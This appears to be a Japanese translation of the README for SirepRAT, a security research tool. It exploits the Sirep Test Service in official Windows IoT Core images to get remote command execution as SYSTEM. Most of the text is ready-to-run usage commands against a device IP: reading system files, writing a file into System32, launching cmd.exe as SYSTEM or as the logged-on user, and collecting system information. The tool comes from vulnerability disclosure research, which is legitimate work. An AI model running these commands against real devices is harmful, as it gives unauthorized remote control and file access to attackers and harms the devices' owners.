safebreach-labs/sirepratWindows IoT Core 上での SYSTEM としてのリモート コマンド実行（Python2.7 および Python3 向けのリリースが利用可能）
SirepRAT は、ターゲットに実際の RAT マルウェアを作成する必要なく、完全な RAT 機能を提供します。
この方法は、Microsoft のサイトで提供されている公式イメージに組み込まれ、実行されている Sirep Test Service を悪用するものです。このサービスは、IoT デバイス上でドライバー/ハードウェアテストを実行するために構築できる HLK セットアップのクライアント部分です。Sirep/WPCon/TShell プロトコルを提供します。
私たちは Sirep/WPCon プロトコルを解析し、このプロトコルが攻撃者にリモートコマンドインターフェースを公開する方法を実証しました。これには、任意の場所への任意のファイルの取得/配置やシステム情報の取得といった RAT 機能が含まれます。
この調査から得られたサービスとプロトコルに関する発見に基づき、サポートされているさまざまなコマンドを使用してそれらを悪用できるシンプルな Python ツールを構築しました。それを SirepRAT と名付けました。
Windows IoT Core ターゲットにコマンドを送信するための、簡単で直感的なユーザーインターフェースを備えています。公式の Microsoft イメージを実行している、ケーブル接続された任意の Windows IoT Core デバイスで動作します。
スライドと調査ホワイトペーパーは docs フォルダー にあります。
pip install -r requirements.txt
python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" --v
python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"
python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"
引数付きで、現在ログオン中のユーザーとして偽装:
python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"
(as_logged_on_user フラグなしで実行すると、SYSTEM として実行される機能を確認できます)
python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice
python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"
python SirepRAT.py --help
Dor Azouri (@bemikre)
movatica (@movatica) - Python 3 への移植! (2020年の終わりごろ)
BSD 3 - 「New」または「Revised」ライセンス条項